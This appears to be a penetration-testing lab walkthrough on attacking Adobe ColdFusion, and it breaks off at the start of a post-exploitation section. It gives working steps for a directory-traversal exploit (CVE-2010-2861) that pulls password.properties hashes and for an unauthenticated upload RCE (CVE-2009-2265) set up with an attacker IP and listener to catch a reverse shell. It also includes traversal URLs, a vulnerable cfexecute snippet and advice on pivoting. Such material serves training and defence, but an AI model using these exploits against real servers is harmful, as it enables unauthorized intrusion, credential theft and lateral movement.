Attacking ColdFusion

Searching for Known Exploits — searchsploit

searchsploit is a CLI for querying the Exploit Database locally.

searchsploit adobe coldfusion

Key results for ColdFusion 8:

Copy an exploit to a working directory:

searchsploit -p 14641          # print full path and copy to clipboard
cp /usr/share/exploitdb/exploits/multiple/remote/14641.py .

Directory Traversal — CVE-2010-2861

Vulnerability

ColdFusion tags such as <cfdirectory> and <cffile> perform file and directory operations. When the directory or locale parameter is not validated, an attacker can inject ../ sequences to walk outside the intended path.

Vulnerable CFM files (ColdFusion 9.0.1 and earlier):

/CFIDE/administrator/settings/mappings.cfm
/CFIDE/administrator/enter.cfm
/CFIDE/wizards/common/_authenticatewizarduser.cfm
/CFIDE/wizards/common/_logintowizard.cfm
logging/settings.cfm
datasources/index.cfm
j2eepackaging/editarchive.cfm

Each accepts a locale parameter. A normal request:

http://www.example.com/CFIDE/administrator/settings/mappings.cfm?locale=en

A traversal payload:

http://www.example.com/CFIDE/administrator/settings/mappings.cfm?locale=../../../../../etc/passwd

Target file — password.properties

ColdFusion stores encrypted service passwords (database connections, mail servers, LDAP, etc.) in:

[cf_root]/lib/password.properties

This is the primary target for directory traversal — retrieving it yields encrypted credentials for all configured services.

Exploitation with EDB-14641

python2 14641.py
# usage: 14641.py <host> <port> <file_path>
# example: 14641.py localhost 80 ../../../../../../../lib/password.properties

python2 14641.py 10.129.204.230 8500 "../../../../../../../../ColdFusion8/lib/password.properties"

Output:

trying /CFIDE/wizards/common/_logintowizard.cfm
#Wed Mar 22 20:53:51 EET 2017
rdspassword=0IA/F[[E>[$_6& \\Q>[K\=XP  \n
password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
encrypted=true

The hashed password can then be cracked offline (SHA1/MD5 depending on version) to gain access to the ColdFusion Administrator.

Unauthenticated RCE — CVE-2009-2265

Vulnerability

Adobe ColdFusion 8.0.1 and earlier ships with FCKeditor, a third-party rich-text editor. The FCKeditor file manager connector exposes an unauthenticated file upload endpoint:

/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm
  ?Command=FileUpload&Type=File&CurrentFolder=

Because there is no authentication check, any attacker can upload a JSP web shell directly to the server, then request it to achieve RCE.

Root cause

ColdFusion code that does not validate user input before execution:

<cfset cmd = "#cgi.query_string#">
<cfexecute name="cmd.exe" arguments="/c #cmd#" timeout="5">

The cgi.query_string value flows directly into cfexecute with no sanitization and no authentication requirement.

Exploitation with EDB-50057

Step 1 — copy the exploit:

searchsploit -p 50057
cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py .

Step 2 — edit the variables at the bottom of the script:

if __name__ == '__main__':
    lhost = '10.10.14.55'    # attacker VPN IP
    lport = 4444             # listener port
    rhost = "10.129.247.30"  # target IP
    rport = 8500             # target port (ColdFusion default)
    filename = uuid.uuid4().hex

Step 3 — start the exploit:

python3 50057.py

The script:

1. Generates a JSP reverse shell payload
2. Uploads it via the FCKeditor endpoint as a multipart file upload
3. Triggers execution of the uploaded .jsp file
4. Cleans up the payload after connection is established

Shell received:

Ncat: Connection from 10.129.247.30:49866.

Microsoft Windows [Version 6.1.7600]
C:\ColdFusion8\runtime\bin>

The shell runs in the context of the ColdFusion service account. From here, enumerate the host for credential reuse, privilege escalation vectors, and pivot opportunities into the internal network.

Attack Summary

Post-exploitation

From a shell on a ColdFusion server: